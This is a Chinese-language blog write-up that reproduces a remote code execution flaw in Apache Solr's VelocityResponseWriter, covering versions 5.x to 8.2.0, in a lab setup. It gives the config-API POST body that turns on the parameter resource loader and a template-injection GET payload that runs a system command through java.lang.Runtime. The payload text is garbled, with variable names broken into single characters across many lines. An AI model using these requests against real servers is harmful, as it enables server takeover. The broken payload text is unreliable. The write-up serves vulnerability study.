Apache Solr Velocity模板注入RCE
一、Apache Solr介绍
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。
二、漏洞描述
Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。
漏洞产生原因:
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模板,默认设置是false。当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。
三、漏洞影响版本
Apache Solr 5.x - 8.2.0,存在config API版本
四、漏洞环境搭建
1、 安装java环境
2、下载Apache Solr 8.2.0,下载地址: https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
3、解压然后进入bin目录执行solr.cmd start
4、浏览器访问192.168.183.128:8983,环境搭建成功
五、漏洞复现
1、重新启动,再次访问192.168.183.128:8983/solr发现没有创建core, 先手动在/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下
2、然后按照如下图所示创建一个名为test的core
3、然后访问查看该应用config文件是否可以访问
4、Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。
直接构造POST请求,在/solr/test/config目录POST以下数据(修改Core的配置)
{
“update-queryresponsewriter”: {
“startup”: “lazy”,
“name”: “velocity”,
“class”: “solr.VelocityResponseWriter”,
“template.base.dir”: “”,
“solr.resource.loader.enabled”: “true”,
“params.resource.loader.enabled”: “true”
}
}
修改成post请求后
这样才会成功
6.接下来我们就可以构造payload来实现RCE
Payload如下:
/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(
x
=
x=%27%27)+%23set(
x=rt=
x
.
c
l
a
s
s
.
f
o
r
N
a
m
e
(
x.class.forName(%27java.lang.Runtime%27))+%23set(
x.class.forName(chr=
x
.
c
l
a
s
s
.
f
o
r
N
a
m
e
(
x.class.forName(%27java.lang.Character%27))+%23set(
x.class.forName(str=
x
.
c
l
a
s
s
.
f
o
r
N
a
m
e
(
x.class.forName(%27java.lang.String%27))+%23set(
x.class.forName(ex=
r
t
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
rt.getRuntime().exec(%27ipconfig%27))+
rt.getRuntime().exec(ex.waitFor()+%23set(
o
u
t
=
out=
out=ex.getInputStream())+%23foreach(
i
+
i
n
+
[
1..
i+in+[1..
i+in+[1..out.available()])
s
t
r
.
v
a
l
u
e
O
f
(
str.valueOf(
str.valueOf(chr.toChars($out.read()))%23end
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85